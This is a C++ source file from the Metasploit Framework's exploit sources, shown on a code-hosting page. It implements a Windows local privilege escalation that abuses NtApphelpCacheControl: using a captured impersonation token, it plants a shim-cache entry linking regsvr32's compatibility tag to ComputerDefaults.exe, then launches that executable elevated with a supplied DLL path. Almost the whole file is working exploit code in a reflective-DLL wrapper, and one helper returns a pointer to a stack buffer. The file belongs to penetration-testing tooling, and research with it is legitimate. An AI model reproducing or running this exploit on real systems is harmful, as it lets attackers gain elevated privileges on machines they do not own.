metasploit-framework/external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp

273 lines
6.6 KiB
C++
Executable File
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//#include "stdafx.h"
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "my_winternl.h"
#include "sdb.h"
#include <string>
#include <combaseapi.h>
#include <shellapi.h>
#define BUF_SIZE 0x108
#define MAX_ENV 32767
enum APPHELPCOMMAND
{
AppHelpQuery, // 0 -> 0x22003 DeviceIoControl
AppHelpRemove, // 1 -> 0x22007
AppHelpUpdate, // 2 -> 0x2200B (Admin)
AppHelpEnum, // 3 -> 0x2200F (Admin) (Looks unused)
AppHelpNotifyStart, // 4 -> 0x220013 (Admin)
AppHelpWriteRegistry, // 5 -> 0x220017 (Admin)
AppHelpNotifyStop, // 6 -> 0x22001B (Admin)
AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service)
AppHelpSnapshot, // 8 -> 0x220023 (Admin)
AppHelpQueryModule, // 9 -> 0x220027
AppHelpRefresh, // 10 -> 0x22002B
AppHelpCheckForChange, // 11 -> 0x22002F
AppHelpQueryHwId, // 12 (doesnt go to driver, calls AchCacheQueryHwId)
};
struct ApphelpCacheControlData
{
BYTE unk0[0x98]; // 0x00 -> 0x98 (all zeros?)
DWORD query_flags; // 0x98;
DWORD cache_flags; // 0x9C
HANDLE file_handle; // 0xA0
HANDLE process_handle; // 0xA4
UNICODE_STRING file_name; // 0xA8
UNICODE_STRING package_name;// 0xB0
DWORD buf_len; // 0xB8
LPVOID buffer; // 0xBC
BYTE unkC0[0x2C]; // 0xC0 -> 0xEC
UNICODE_STRING module_name; // 0xEC (used for 9)
BYTE unkF4[0x14]; // 0xF4 -> 0x108
};
typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf);
typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
HANDLE CaptureImpersonationToken();
struct APPHELP_QUERY
{
int match_tags[16];
int unk40[16];
int layer_tags[8];
int flags;
int main_tag;
int match_count;
int layer_count;
GUID exe_guid;
int unkC0[264 / 4];
};
BOOL resolveSdbFunctions();
extern SdbOpenDatabase SdbOpenDatabasePtr;
extern SdbCloseDatabase SdbCloseDatabasePtr;
extern SdbTagToString SdbTagToStringPtr;
extern SdbGetFirstChild SdbGetFirstChildPtr;
extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr;
extern SdbGetNextChild SdbGetNextChildPtr;
extern SdbReadBinaryTag SdbReadBinaryTagPtr;
TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid)
{
TAG tmpTag = 0;
DWORD dwD = 0;
TAGID newtid = TAGID_NULL;
LPCTSTR tmp;
DWORD i = 0;
GUID guid;
newtid = SdbGetFirstChildPtr(db, tid);
while (newtid != TAGID_NULL)
{
tmpTag = SdbGetTagFromTagIDPtr(db, newtid);
tmp = SdbTagToStringPtr(tmpTag);
// process tag types
switch (tmpTag & 0xFFFF)
{
case TAG_EXE_ID:
if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid)))
{
if (IsEqualGUID(guid, exe_guid))
{
return tid;
}
}
break;
default:
break;
}
// recursive
if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST)
{
TAGID ret = findExeByGuid(db, newtid, exe_guid);
if (ret != 0)
{
return ret;
}
}
// get next tag
newtid = SdbGetNextChildPtr(db, tid, newtid);
}
return 0;
}
TAGID GetTagForRegsvr32()
{
resolveSdbFunctions();
PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH);
if (!db)
{
DWORD stat = GetLastError();
printf("Failed to load SDB file %d\n", stat);
return 0;
}
GUID guid;
IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid);
TAGID ret = findExeByGuid(db, TAGID_ROOT, guid);
SdbCloseDatabasePtr(db);
return ret;
}
LPWSTR GetEnvVar(LPWSTR env)
{
WCHAR buf[MAX_ENV];
GetEnvironmentVariable(env, buf, MAX_ENV);
return buf;
}
DWORD CALLBACK ExploitMain(char * lpReserved)
{
WCHAR dllpath_buf[MAX_PATH];
WCHAR payloadPath[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, lpReserved, -1, payloadPath, MAX_PATH);
if (!GetFullPathNameW(payloadPath, MAX_PATH, (LPWSTR) dllpath_buf, nullptr))
{
printf("Couldn't get fullpath to dll %d\n", GetLastError());
return 1;
}
std::wstring dllpath;
dllpath = L"\"";
dllpath += dllpath_buf;
dllpath += L"\"";
TAGID tag = GetTagForRegsvr32();
if (tag == 0)
{
printf("Failed to get SDB tag for regsvr32\n");
return 1;
}
printf("Found regsvr32.exe tag: %08X\n", tag);
HANDLE token = CaptureImpersonationToken();
_RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString");
_NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl");
ApphelpCacheControlData data = { 0 };
std::wstring exe = GetEnvVar(L"SystemRoot");
exe += L"\\System32\\ComputerDefaults.exe";
std::wstring full_path = L"\\??\\";
full_path += exe.c_str();
printf("Interposing on cache for %ls\n", full_path.c_str());
fRtlInitUnicodeString(&data.file_name, full_path.c_str());
data.file_handle = CreateFile(exe.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
nullptr, OPEN_EXISTING, 0, 0);
if (data.file_handle == INVALID_HANDLE_VALUE)
{
printf("Error opening file %ls %d\n", exe.c_str(), GetLastError());
return 1;
}
data.query_flags = 0xFF;
data.cache_flags = 1;
APPHELP_QUERY query = { 0 };
query.match_count = 1;
query.layer_count = 0;
query.match_tags[0] = tag;
query.unkC0[0] = 1;
data.buffer = &query;
data.buf_len = sizeof(query);
int status = -1;
// Ensure it the cache if flushed
fNtApphelpCacheControl(AppHelpRemove, &data);
if (SetThreadToken(nullptr, token))
{
status = fNtApphelpCacheControl(AppHelpUpdate, &data);
RevertToSelf();
}
else
{
status = GetLastError();
}
if (status == 0)
{
LPCWSTR verb = L"runas";
printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str());
ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW);
printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data));
}
else
{
printf("Error adding cache entry: %08X\n", status);
}
return 0;
}
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
ExploitMain((char*)lpReserved);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}